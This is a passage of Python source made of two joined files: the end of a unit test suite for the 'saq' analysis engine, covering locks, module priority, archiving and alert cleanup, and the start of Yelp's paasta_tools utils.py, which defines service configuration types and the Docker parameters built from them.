engine.enable_module('analysis_module_basic_test')
engine.start()
# we should see this a bunch of times
wait_for_log_count('workload.exclusive_uuid IS NULL', 3, 5)
self.assertEquals(log_count('queue sizes workload 1 delayed 0'), 0)
engine.stop()
engine.wait()
# this engine should process the work item
engine = TestEngine(pool_size_limit=1)
engine.exclusive_uuid = exclusive_uuid
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
@use_db
def test_clear_outstanding_locks(self, db, c):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
root.add_observable(F_TEST, 'test_never_return')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.initialize() # get the node created
# create an arbitrary lock
from saq.database import acquire_lock
self.assertTrue(acquire_lock(str(uuid.uuid4()), str(uuid.uuid4()), f'{saq.SAQ_NODE}-unittest-12345'))
self.assertTrue(acquire_lock(str(uuid.uuid4()), str(uuid.uuid4()), f'some_other_node.local-unittest-12345'))
# should have two locks now
c.execute("SELECT COUNT(*) FROM locks")
self.assertEquals(c.fetchone()[0], 2)
db.commit()
# initialize the engine again
engine = TestEngine(pool_size_limit=1)
engine.initialize()
# should see a logging message about locks being deleted
wait_for_log_count('clearing 1 locks from previous execution', 1, 5)
# we should have one lock left, belong to the "other node"
c.execute("SELECT lock_owner FROM locks")
self.assertEquals(c.fetchone()[0], 'some_other_node.local-unittest-12345')
def test_action_counters(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
t1 = root.add_observable(F_TEST, 'test_action_counter_1')
t2 = root.add_observable(F_TEST, 'test_action_counter_2')
t3 = root.add_observable(F_TEST, 'test_action_counter_3')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# we have an action count limit of 2, so 2 of these should have analysis and 1 should not
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
t1 = root.get_observable(t1.id)
t2 = root.get_observable(t2.id)
t3 = root.get_observable(t3.id)
self.assertIsNotNone(t1)
self.assertIsNotNone(t2)
self.assertIsNotNone(t3)
from saq.modules.test import BasicTestAnalysis
analysis_count = 0
for t in [ t1, t2, t3 ]:
if t.get_analysis(BasicTestAnalysis):
analysis_count += 1
self.assertEquals(analysis_count, 2)
def test_module_priority(self):
root = create_root_analysis()
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
t1 = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_high_priority')
engine.enable_module('analysis_module_low_priority')
engine.controlled_stop()
engine.start()
engine.wait()
# we should see the high priority execute before the low priority
hp_log_entry = search_log('analyzing test(test) with HighPriorityAnalyzer')
self.assertEquals(len(hp_log_entry), 1)
hp_log_entry = hp_log_entry[0]
lp_log_entry = search_log('analyzing test(test) with LowPriorityAnalyzer')
self.assertEquals(len(lp_log_entry), 1)
lp_log_entry = lp_log_entry[0]
self.assertLess(hp_log_entry.created, lp_log_entry.created)
# swap the priorities
saq.CONFIG['analysis_module_high_priority']['priority'] = '1'
saq.CONFIG['analysis_module_low_priority']['priority'] = '0'
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
t1 = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_high_priority')
engine.enable_module('analysis_module_low_priority')
engine.controlled_stop()
engine.start()
engine.wait()
# we should see the high priority execute before the low priority
hp_log_entry = search_log('analyzing test(test) with HighPriorityAnalyzer')
self.assertEquals(len(hp_log_entry), 2)
hp_log_entry = hp_log_entry[1]
lp_log_entry = search_log('analyzing test(test) with LowPriorityAnalyzer')
self.assertEquals(len(lp_log_entry), 2)
lp_log_entry = lp_log_entry[1]
self.assertLess(lp_log_entry.created, hp_log_entry.created)
# test a high priority analysis against an analysis without a priority
saq.CONFIG['analysis_module_high_priority']['priority'] = '0'
del saq.CONFIG['analysis_module_low_priority']['priority']
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
t1 = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
saq.CONFIG['analysis_module_high_priority']['priority'] = '-1'
saq.CONFIG['analysis_module_low_priority']['priority'] = '1'
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_high_priority')
engine.enable_module('analysis_module_low_priority')
engine.enable_module('analysis_module_no_priority')
engine.controlled_stop()
engine.start()
engine.wait()
# we should see the high priority execute before the low priority
hp_log_entry = search_log('analyzing test(test) with HighPriorityAnalyzer')
self.assertEquals(len(hp_log_entry), 3)
hp_log_entry = hp_log_entry[2]
lp_log_entry = search_log('analyzing test(test) with LowPriorityAnalyzer')
self.assertEquals(len(lp_log_entry), 3)
lp_log_entry = lp_log_entry[2]
np_log_entry = search_log('analyzing test(test) with NoPriorityAnalyzer')
self.assertEquals(len(np_log_entry), 1)
np_log_entry = np_log_entry[0]
self.assertLess(hp_log_entry.created, lp_log_entry.created)
self.assertLess(lp_log_entry.created, np_log_entry.created)
def test_post_analysis_multi_mode(self):
root = create_root_analysis(analysis_mode='test_groups')
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
t1 = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1, local_analysis_modes=['test_groups', 'test_single', 'test_empty'])
engine.enable_module('analysis_module_post_analysis_multi_mode', ['test_groups', 'test_single', 'test_empty'])
engine.controlled_stop()
engine.start()
engine.wait()
# at the end of analysi sin test_groups mode post_analysis will execute and change the mode to test_single
# it will happen again and change the mode to test_empty but will return True indicating post analysis has completed
# so we should see the "execute_post_analysis called" message twice but not three times
self.assertEquals(log_count('execute_post_analysis called'), 2)
self.assertEquals(log_count('executing post analysis routines for'), 3)
def test_post_analysis_delayed_analysis(self):
root = create_root_analysis()
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
t1 = root.add_observable(F_TEST, 'test_delayed')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_test_post_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(log_count('execute_post_analysis called'), 1)
self.assertEquals(log_count('executing post analysis routines for'), 1)
def test_alt_workload_move(self):
# when an analysis moves into alert (correlation) mode and we are using an alt workload dir
# then that analysis should move into the saq.DATA_DIR directory
root = create_root_analysis()
root.storage_dir = workload_storage_dir(root.uuid)
root.initialize_storage()
t1 = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_forced_detection', 'test_groups')
engine.enable_module('analysis_module_detection', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
def test_analysis_reset(self):
root = create_root_analysis()
root.initialize_storage()
o1 = root.add_observable(F_TEST, 'test_add_file')
o2 = root.add_observable(F_TEST, 'test_action_counter')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
o1 = root.get_observable(o1.id)
self.assertIsNotNone(o1)
from saq.modules.test import BasicTestAnalysis
analysis = o1.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
# this analysis should have two file observables
file_observables = analysis.find_observables(lambda o: o.type == F_FILE)
self.assertEquals(len(file_observables), 2)
# make sure the files are actually there
for _file in file_observables:
self.assertTrue(_file.exists)
# we should also have a non-empty state
self.assertTrue(bool(root.state))
# and we should have some action counters
self.assertTrue(bool(root.action_counters))
# reset the analysis
root.reset()
# the original observable should still be there
o1 = root.get_observable(o1.id)
self.assertIsNotNone(o1)
analysis = o1.get_analysis(BasicTestAnalysis)
# but it should NOT have analysis
self.assertIsNone(analysis)
# and that should be the only observable
self.assertEquals(len(root.all_observables), 2)
# and those two files should not exist anymore
for _file in file_observables:
self.assertFalse(os.path.exists(abs_path(_file.value)))
def test_analysis_reset_locked(self):
from saq.database import acquire_lock, release_lock, LockedException
root = create_root_analysis()
root.initialize_storage()
o1 = root.add_observable(F_TEST, 'test_add_file')
o2 = root.add_observable(F_TEST, 'test_action_counter')
root.save()
root.schedule()
# lock the analysis we created
lock_uuid = acquire_lock(root.uuid)
# now try to reset it
with self.assertRaises(LockedException):
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
root.reset()
# unlock the analysis we created
release_lock(root.uuid, lock_uuid)
# the reset should work this time
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
root.reset()
def test_watched_files(self):
# make sure we check every time
saq.CONFIG['global']['check_watched_files_frequency'] = '0'
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.start()
# the module creates the file we're going to watch, so wait for that to appear
watched_file_path = os.path.join(saq.TEMP_DIR, 'watched_file')
self.wait_for_condition(lambda : os.path.exists(watched_file_path))
# and then wait for it to start watching it
wait_for_log_count(f"watching file {watched_file_path}", 1)
# go ahead and modify it
with open(watched_file_path, 'w') as fp:
fp.write("data has changed")
root = create_root_analysis()
root.initialize_storage()
o1 = root.add_observable(F_TEST, 'test_watched_file')
root.save()
root.schedule()
wait_for_log_count(f"detected change to {watched_file_path}", 1)
wait_for_log_count(f"watched_file_modified: {watched_file_path}", 1)
engine.controlled_stop()
engine.wait()
def test_archive(self):
from saq.database import Alert
root = create_root_analysis(analysis_mode='test_single')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_detection')
file_path = self.create_test_file(root_analysis=root)
root_file_observable = root.add_observable(F_FILE, file_path)
test_file_observable = root.add_observable(F_TEST, 'test_add_file')
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test', 'test_single')
engine.enable_module('analysis_module_detection', 'test_single')
engine.controlled_stop()
engine.start()
engine.wait()
alert = saq.db.query(Alert).filter(Alert.uuid==root.uuid).one()
saq.db.commit()
alert.load()
test_observable = alert.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
basic_analysis = test_observable.get_analysis('BasicTestAnalysis')
self.assertIsNotNone(basic_analysis)
self.assertIsNotNone(basic_analysis.details)
test_file_observable = alert.get_observable(test_file_observable.id)
self.assertIsNotNone(test_file_observable)
basic_analysis = test_file_observable.get_analysis('BasicTestAnalysis')
self.assertIsNotNone(basic_analysis)
self.assertIsNotNone(basic_analysis.details)
additional_file_observable = basic_analysis.find_observable(F_FILE)
self.assertIsNotNone(additional_file_observable)
alert.archive()
alert.sync()
# need to clear the sqlalchemy identity cache
saq.db.close()
alert = saq.db.query(Alert).filter(Alert.uuid==root.uuid).one()
self.assertTrue(alert.archived)
alert.load()
test_observable = alert.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
basic_analysis = test_observable.get_analysis('BasicTestAnalysis')
self.assertIsNotNone(basic_analysis)
# the analysis details should be empty
self.assertIsNone(basic_analysis.details)
# but the summary should be OK
self.assertTrue(bool(basic_analysis.summary))
root_file_observable = alert.get_observable(root_file_observable.id)
self.assertIsNotNone(root_file_observable)
# the file that came with the alert should still be there
self.assertTrue(root_file_observable.exists)
additional_file_observable = alert.get_observable(additional_file_observable.id)
# but the one that was added during analysis should NOT be there
self.assertFalse(additional_file_observable.exists)
def test_cleanup(self):
from saq.constants import DISPOSITION_FALSE_POSITIVE
from saq.database import Alert
from saq.util.maintenance import cleanup_alerts
fp_root = create_root_analysis(analysis_mode='test_single', uuid=str(uuid.uuid4()))
fp_root.initialize_storage()
test_observable = fp_root.add_observable(F_TEST, 'test_detection')
fp_root.save()
fp_root.schedule()
ignore_root = create_root_analysis(analysis_mode='test_single', uuid=str(uuid.uuid4()))
ignore_root.initialize_storage()
test_observable = ignore_root.add_observable(F_TEST, 'test_detection')
ignore_root.save()
ignore_root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test', 'test_single')
engine.enable_module('analysis_module_detection', 'test_single')
engine.controlled_stop()
engine.start()
engine.wait()
alert = saq.db.query(Alert).filter(Alert.uuid==fp_root.uuid).one()
alert.load()
# we'll set the time of the disposition to one day past the configured limit
alert.disposition = DISPOSITION_FALSE_POSITIVE
alert.disposition_time = datetime.datetime.now() - datetime.timedelta(days=saq.CONFIG['global'].getint('fp_days') + 1)
alert.sync()
saq.db.remove()
alert = saq.db.query(Alert).filter(Alert.uuid==ignore_root.uuid).one()
alert.load()
# we'll set the time of the disposition to one day past the configured limit
alert.disposition = DISPOSITION_IGNORE
alert.disposition_time = datetime.datetime.now() - datetime.timedelta(days=saq.CONFIG['global'].getint('ignore_days') + 1)
alert.sync()
saq.db.remove()
# calling cleanup will cause the alert to get archived
cleanup_alerts()
saq.db.remove()
# now this alert should be archived
alert = saq.db.query(Alert).filter(Alert.uuid == fp_root.uuid).one()
self.assertTrue(alert.archived)
# and this alert should be gone
self.assertIsNone(saq.db.query(Alert).filter(Alert.uuid == ignore_root.uuid).first())
self.assertFalse(os.path.exists(ignore_root.storage_dir))
|
utils.py
|
# Copyright 2015-2017 Yelp Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import contextlib
import copy
import datetime
import difflib
import errno
import fcntl
import getpass
import glob
import hashlib
import io
import json
import logging
import math
import os
import pwd
import queue
import re
import shlex
import signal
import socket
import ssl
import sys
import tempfile
import threading
import time
import warnings
from collections import OrderedDict
from enum import Enum
from fnmatch import fnmatch
from functools import lru_cache
from functools import wraps
from subprocess import PIPE
from subprocess import Popen
from subprocess import STDOUT
from types import FrameType
from typing import Any
from typing import Callable
from typing import cast
from typing import Collection
from typing import ContextManager
from typing import Dict
from typing import FrozenSet
from typing import IO
from typing import Iterable
from typing import Iterator
from typing import List
from typing import Mapping
from typing import Optional
from typing import Sequence
from typing import Set
from typing import Tuple
from typing import Type
from typing import TypeVar
from typing import Union
import choice
import dateutil.tz
import ldap3
import requests_cache
import service_configuration_lib
from docker import Client
from docker.utils import kwargs_from_env
from kazoo.client import KazooClient
from mypy_extensions import TypedDict
from service_configuration_lib import read_service_configuration
import paasta_tools.cli.fsm
# DO NOT CHANGE SPACER, UNLESS YOU'RE PREPARED TO CHANGE ALL INSTANCES
# OF IT IN OTHER LIBRARIES (i.e. service_configuration_lib).
# It's used to compose a job's full ID from its name and instance
SPACER = "."
INFRA_ZK_PATH = "/nail/etc/zookeeper_discovery/infrastructure/"
PATH_TO_SYSTEM_PAASTA_CONFIG_DIR = os.environ.get(
"PAASTA_SYSTEM_CONFIG_DIR", "/etc/paasta/"
)
DEFAULT_SOA_DIR = service_configuration_lib.DEFAULT_SOA_DIR
AUTO_SOACONFIG_SUBDIR = "autotuned_defaults"
DEFAULT_DOCKERCFG_LOCATION = "file:///root/.dockercfg"
DEPLOY_PIPELINE_NON_DEPLOY_STEPS = (
"itest",
"itest-and-push-to-registry",
"security-check",
"performance-check",
"push-to-registry",
)
# Default values for _log
ANY_CLUSTER = "N/A"
ANY_INSTANCE = "N/A"
DEFAULT_LOGLEVEL = "event"
no_escape = re.compile(r"\x1B\[[0-9;]*[mK]")
# instead of the convention of using underscores in this scribe channel name,
# the audit log uses dashes to prevent collisions with a service that might be
# named 'audit_log'
AUDIT_LOG_STREAM = "stream_paasta-audit-log"
DEFAULT_SYNAPSE_HAPROXY_URL_FORMAT = (
"http://{host:s}:{port:d}/;csv;norefresh;scope={scope:s}"
)
DEFAULT_CPU_PERIOD = 100000
DEFAULT_CPU_BURST_ADD = 1
DEFAULT_SOA_CONFIGS_GIT_URL = "sysgit.yelpcorp.com"
log = logging.getLogger(__name__)
log.addHandler(logging.NullHandler())
INSTANCE_TYPES = (
"marathon",
"paasta_native",
"adhoc",
"kubernetes",
"tron",
"flink",
"cassandracluster",
"kafkacluster",
"nrtsearchservice",
)
class RollbackTypes(Enum):
AUTOMATIC_SLO_ROLLBACK = "automatic_slo_rollback"
USER_INITIATED_ROLLBACK = "user_initiated_rollback"
class TimeCacheEntry(TypedDict):
data: Any
fetch_time: float
_CacheRetT = TypeVar("_CacheRetT")
class time_cache:
def __init__(self, ttl: float = 0) -> None:
self.configs: Dict[Tuple, TimeCacheEntry] = {}
self.ttl = ttl
def __call__(self, f: Callable[..., _CacheRetT]) -> Callable[..., _CacheRetT]:
def cache(*args: Any, **kwargs: Any) -> _CacheRetT:
if "ttl" in kwargs:
ttl = kwargs["ttl"]
del kwargs["ttl"]
else:
ttl = self.ttl
key = args
for item in kwargs.items():
key += item
if (
(not ttl)
or (key not in self.configs)
or (time.time() - self.configs[key]["fetch_time"] > ttl)
):
self.configs[key] = {
"data": f(*args, **kwargs),
"fetch_time": time.time(),
}
return self.configs[key]["data"]
return cache
_SortDictsT = TypeVar("_SortDictsT", bound=Mapping)
def sort_dicts(dcts: Iterable[_SortDictsT]) -> List[_SortDictsT]:
def key(dct: _SortDictsT) -> Tuple:
return tuple(sorted(dct.items()))
return sorted(dcts, key=key)
class InvalidInstanceConfig(Exception):
pass
DeployBlacklist = List[Tuple[str, str]]
DeployWhitelist = Optional[Tuple[str, List[str]]]
# The actual config files will have lists, since tuples are not expressible in base YAML, so we define different types
# here to represent that. The getter functions will convert to the safe versions above.
UnsafeDeployBlacklist = Optional[Sequence[Sequence[str]]]
UnsafeDeployWhitelist = Optional[Sequence[Union[str, Sequence[str]]]]
Constraint = Sequence[str]
# e.g. ['GROUP_BY', 'habitat', 2]. Marathon doesn't like that so we'll convert to Constraint later.
UnstringifiedConstraint = Sequence[Union[str, int, float]]
SecurityConfigDict = Dict # Todo: define me.
class VolumeWithMode(TypedDict):
mode: str
class DockerVolume(VolumeWithMode):
hostPath: str
containerPath: str
class AwsEbsVolume(VolumeWithMode):
volume_id: str
fs_type: str
partition: int
container_path: str
class PersistentVolume(VolumeWithMode):
size: int
container_path: str
storage_class_name: str
class InstanceConfigDict(TypedDict, total=False):
deploy_group: str
mem: float
cpus: float
disk: float
cmd: str
args: List[str]
cfs_period_us: float
cpu_burst_add: float
cap_add: List
env: Dict[str, str]
monitoring: Dict[str, str]
deploy_blacklist: UnsafeDeployBlacklist
deploy_whitelist: UnsafeDeployWhitelist
pool: str
persistent_volumes: List[PersistentVolume]
role: str
extra_volumes: List[DockerVolume]
aws_ebs_volumes: List[AwsEbsVolume]
security: SecurityConfigDict
dependencies_reference: str
dependencies: Dict[str, Dict]
constraints: List[UnstringifiedConstraint]
extra_constraints: List[UnstringifiedConstraint]
net: str
extra_docker_args: Dict[str, str]
gpus: int
branch: str
class BranchDictV1(TypedDict, total=False):
docker_image: str
desired_state: str
force_bounce: Optional[str]
class BranchDictV2(TypedDict):
git_sha: str
docker_image: str
desired_state: str
force_bounce: Optional[str]
class DockerParameter(TypedDict):
key: str
value: str
def safe_deploy_blacklist(input: UnsafeDeployBlacklist) -> DeployBlacklist:
return [(t, l) for t, l in input]
def safe_deploy_whitelist(input: UnsafeDeployWhitelist) -> DeployWhitelist:
try:
location_type, allowed_values = input
return cast(str, location_type), cast(List[str], allowed_values)
except TypeError:
return None
# For mypy typing
InstanceConfig_T = TypeVar("InstanceConfig_T", bound="InstanceConfig")
class InstanceConfig:
config_filename_prefix: str
def __init__(
self,
cluster: str,
instance: str,
service: str,
config_dict: InstanceConfigDict,
branch_dict: Optional[BranchDictV2],
soa_dir: str = DEFAULT_SOA_DIR,
) -> None:
self.config_dict = config_dict
self.branch_dict = branch_dict
self.cluster = cluster
self.instance = instance
self.service = service
self.soa_dir = soa_dir
self._job_id = compose_job_id(service, instance)
config_interpolation_keys = ("deploy_group",)
interpolation_facts = self.__get_interpolation_facts()
for key in config_interpolation_keys:
if (
key in self.config_dict
and self.config_dict[key] is not None # type: ignore
):
self.config_dict[key] = self.config_dict[key].format( # type: ignore
**interpolation_facts
)
def __repr__(self) -> str:
return "{!s}({!r}, {!r}, {!r}, {!r}, {!r}, {!r})".format(
self.__class__.__name__,
self.service,
self.instance,
self.cluster,
self.config_dict,
self.branch_dict,
self.soa_dir,
)
def __get_interpolation_facts(self) -> Dict[str, str]:
return {
"cluster": self.cluster,
"instance": self.instance,
"service": self.service,
}
def get_cluster(self) -> str:
return self.cluster
def get_instance(self) -> str:
return self.instance
def get_service(self) -> str:
return self.service
@property
def job_id(self) -> str:
return self._job_id
def get_docker_registry(
self, system_paasta_config: Optional["SystemPaastaConfig"] = None
) -> str:
return get_service_docker_registry(
self.service, self.soa_dir, system_config=system_paasta_config
)
def get_branch(self) -> str:
return get_paasta_branch(
cluster=self.get_cluster(), instance=self.get_instance()
)
def get_deploy_group(self) -> str:
return self.config_dict.get("deploy_group", self.get_branch())
def get_team(self) -> str:
return self.config_dict.get("monitoring", {}).get("team", None)
def get_mem(self) -> float:
"""Gets the memory required from the service's configuration.
Defaults to 4096 (4G) if no value specified in the config.
:returns: The amount of memory specified by the config, 4096 if not specified"""
mem = self.config_dict.get("mem", 4096)
return mem
def get_mem_swap(self) -> str:
"""Gets the memory-swap value. This value is passed to the docker
container to ensure that the total memory limit (memory + swap) is the
same value as the 'mem' key in soa-configs. Note - this value *has* to
be >= to the mem key, so we always round up to the closest MB and add
additional 64MB for the docker executor (See PAASTA-12450).
"""
mem = self.get_mem()
mem_swap = int(math.ceil(mem + 64))
return "%sm" % mem_swap
def get_cpus(self) -> float:
"""Gets the number of cpus required from the service's configuration.
Defaults to 1 cpu if no value specified in the config.
:returns: The number of cpus specified in the config, 1 if not specified"""
cpus = self.config_dict.get("cpus", 1)
return cpus
def get_cpu_burst_add(self) -> float:
"""Returns the number of additional cpus a container is allowed to use.
Defaults to DEFAULT_CPU_BURST_ADD"""
return self.config_dict.get("cpu_burst_add", DEFAULT_CPU_BURST_ADD)
def get_cpu_period(self) -> float:
"""The --cpu-period option to be passed to docker
Comes from the cfs_period_us configuration option
:returns: The number to be passed to the --cpu-period docker flag"""
return self.config_dict.get("cfs_period_us", DEFAULT_CPU_PERIOD)
def get_cpu_quota(self) -> float:
"""Gets the --cpu-quota option to be passed to docker
Calculation: (cpus + cpus_burst_add) * cfs_period_us
:returns: The number to be passed to the --cpu-quota docker flag"""
cpu_burst_add = self.get_cpu_burst_add()
return (self.get_cpus() + cpu_burst_add) * self.get_cpu_period()
def get_extra_docker_args(self) -> Dict[str, str]:
return self.config_dict.get("extra_docker_args", {})
def get_cap_add(self) -> Iterable[DockerParameter]:
"""Get the --cap-add options to be passed to docker
Generated from the cap_add configuration option, which is a list of
capabilities.
Example configuration: {'cap_add': ['IPC_LOCK', 'SYS_PTRACE']}
:returns: A generator of cap_add options to be passed as --cap-add flags"""
for value in self.config_dict.get("cap_add", []):
yield {"key": "cap-add", "value": f"{value}"}
def get_cap_drop(self) -> Iterable[DockerParameter]:
"""Generates --cap-drop options to be passed to docker by default, which
makes them not able to perform special privilege escalation stuff
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
"""
caps = [
"SETPCAP",
"MKNOD",
"AUDIT_WRITE",
"CHOWN",
"NET_RAW",
"DAC_OVERRIDE",
"FOWNER",
"FSETID",
"KILL",
"SETGID",
"SETUID",
"NET_BIND_SERVICE",
"SYS_CHROOT",
"SETFCAP",
]
for cap in caps:
yield {"key": "cap-drop", "value": cap}
def format_docker_parameters(
self,
with_labels: bool = True,
system_paasta_config: Optional["SystemPaastaConfig"] = None,
) -> List[DockerParameter]:
"""Formats extra flags for running docker. Will be added in the format
`["--%s=%s" % (e['key'], e['value']) for e in list]` to the `docker run` command
Note: values must be strings
:param with_labels: Whether to build docker parameters with or without labels
:returns: A list of parameters to be added to docker run"""
parameters: List[DockerParameter] = [
{"key": "memory-swap", "value": self.get_mem_swap()},
{"key": "cpu-period", "value": "%s" % int(self.get_cpu_period())},
{"key": "cpu-quota", "value": "%s" % int(self.get_cpu_quota())},
]
if self.use_docker_disk_quota(system_paasta_config=system_paasta_config):
parameters.append(
{
"key": "storage-opt",
"value": f"size={int(self.get_disk() * 1024 * 1024)}",
}
)
if with_labels:
parameters.extend(
[
{"key": "label", "value": "paasta_service=%s" % self.service},
{"key": "label", "value": "paasta_instance=%s" % self.instance},
]
)
extra_docker_args = self.get_extra_docker_args()
if extra_docker_args:
for key, value in extra_docker_args.items():
parameters.extend([{"key": key, "value": value}])
parameters.extend(self.get_cap_add())
parameters.extend(self.get_docker_init())
parameters.extend(self.get_cap_drop())
return parameters
def use_docker_disk_quota(
self, system_paasta_config: Optional["SystemPaastaConfig"] = None
) -> bool:
if system_paasta_config is None:
system_paasta_config = load_system_paasta_config()
return system_paasta_config.get_enforce_disk_quota()
def get_docker_init(self) -> Iterable[DockerParameter]:
return [{"key": "init", "value": "true"}]
def get_disk(self, default: float = 1024) -> float:
"""Gets the amount of disk space in MiB required from the service's configuration.
Defaults to 1024 (1GiB) if no value is specified in the config.
:returns: The amount of disk space specified by the config, 1024 MiB if not specified"""
disk = self.config_dict.get("disk", default)
return disk
def get_gpus(self) -> Optional[int]:
"""Gets the number of gpus required from the service's configuration.
Default to None if no value is specified in the config.
:returns: The number of gpus specified by the config, 0 if not specified"""
gpus = self.config_dict.get("gpus", None)
return gpus
def get_container_type(self) -> Optional[str]:
"""Get Mesos containerizer type.
Default to DOCKER if gpus are not used.
:returns: Mesos containerizer type, DOCKER or MESOS"""
if self.get_gpus() is not None:
container_type = "MESOS"
else:
container_type = "DOCKER"
return container_type
def get_cmd(self) -> Optional[Union[str, List[str]]]:
"""Get the docker cmd specified in the service's configuration.
Defaults to None if not specified in the config.
:returns: A string specified in the config, None if not specified"""
return self.config_dict.get("cmd", None)
def get_instance_type(self) -> Optional[str]:
return getattr(self, "config_filename_prefix", None)
def get_env_dictionary(
self, system_paasta_config: Optional["SystemPaastaConfig"] = None
) -> Dict[str, str]:
"""A dictionary of key/value pairs that represent environment variables
to be injected to the container environment"""
env = {
"PAASTA_SERVICE": self.service,
"PAASTA_INSTANCE": self.instance,
"PAASTA_CLUSTER": self.cluster,
"PAASTA_DEPLOY_GROUP": self.get_deploy_group(),
"PAASTA_DOCKER_IMAGE": self.get_docker_image(),
"PAASTA_RESOURCE_CPUS": str(self.get_cpus()),
"PAASTA_RESOURCE_MEM": str(self.get_mem()),
"PAASTA_RESOURCE_DISK": str(self.get_disk()),
}
if self.get_gpus() is not None:
env["PAASTA_RESOURCE_GPUS"] = str(self.get_gpus())
try:
env["PAASTA_GIT_SHA"] = get_git_sha_from_dockerurl(
self.get_docker_url(system_paasta_config=system_paasta_config)
)
except Exception:
pass
team = self.get_team()
if team:
env["PAASTA_MONITORING_TEAM"] = team
instance_type = self.get_instance_type()
if instance_type:
env["PAASTA_INSTANCE_TYPE"] = instance_type
user_env = self.config_dict.get("env", {})
env.update(user_env)
return {str(k): str(v) for (k, v) in env.items()}
def get_env(
self, system_paasta_config: Optional["SystemPaastaConfig"] = None
) -> Dict[str, str]:
"""Basic get_env that simply returns the basic env, other classes
might need to override this getter for more implementation-specific
env getting"""
return self.get_env_dictionary(system_paasta_config=system_paasta_config)
def get_args(self) -> Optional[List[str]]:
"""Get the docker args specified in the service's configuration.
If not specified in the config and if cmd is not specified, defaults to an empty array.
If not specified in the config but cmd is specified, defaults to null.
If specified in the config and if cmd is also specified, throws an exception. Only one may be specified.
:param service_config: The service instance's configuration dictionary
:returns: An array of args specified in the config,
``[]`` if not specified and if cmd is not specified,
otherwise None if not specified but cmd is specified"""
if self.get_cmd() is None:
return self.config_dict.get("args", [])
else:
args = self.config_dict.get("args", None)
if args is None:
return args
else:
# TODO validation stuff like this should be moved into a check_*
raise InvalidInstanceConfig(
"Instance configuration can specify cmd or args, but not both."
)
def get_monitoring(self) -> Dict[str, Any]:
"""Get monitoring overrides defined for the given instance"""
return self.config_dict.get("monitoring", {})
def get_deploy_constraints(
self,
blacklist: DeployBlacklist,
whitelist: DeployWhitelist,
system_deploy_blacklist: DeployBlacklist,
system_deploy_whitelist: DeployWhitelist,
) -> List[Constraint]:
"""Return the combination of deploy_blacklist and deploy_whitelist
as a list of constraints.
"""
return (
deploy_blacklist_to_constraints(blacklist)
+ deploy_whitelist_to_constraints(whitelist)
+ deploy_blacklist_to_constraints(system_deploy_blacklist)
+ deploy_whitelist_to_constraints(system_deploy_whitelist)
)
def get_deploy_blacklist(self) -> DeployBlacklist:
"""The deploy blacklist is a list of lists, where the lists indicate
which locations the service should not be deployed"""
return safe_deploy_blacklist(self.config_dict.get("deploy_blacklist", []))
def get_deploy_whitelist(self) -> DeployWhitelist:
"""The deploy whitelist is a tuple of (location_type, [allowed value, allowed value, ...]).
To have tasks scheduled on it, a host must be covered by the deploy whitelist (if present) and not excluded by
the deploy blacklist."""
return safe_deploy_whitelist(self.config_dict.get("deploy_whitelist"))
def get_docker_image(self) -> str:
"""Get the docker image name (with tag) for a given service branch from
a generated deployments.json file."""
if self.branch_dict is not None:
return self.branch_dict["docker_image"]
else:
return ""
def get_docker_url(
self, system_paasta_config: Optional["SystemPaastaConfig"] = None
) -> str:
"""Compose the docker url.
:returns: '<registry_uri>/<docker_image>'
"""
registry_uri = self.get_docker_registry(
system_paasta_config=system_paasta_config
)
docker_image = self.get_docker_image()
if not docker_image:
raise NoDockerImageError(
"Docker url not available because there is no docker_image"
)
docker_url = f"{registry_uri}/{docker_image}"
return docker_url
def get_desired_state(self) -> str:
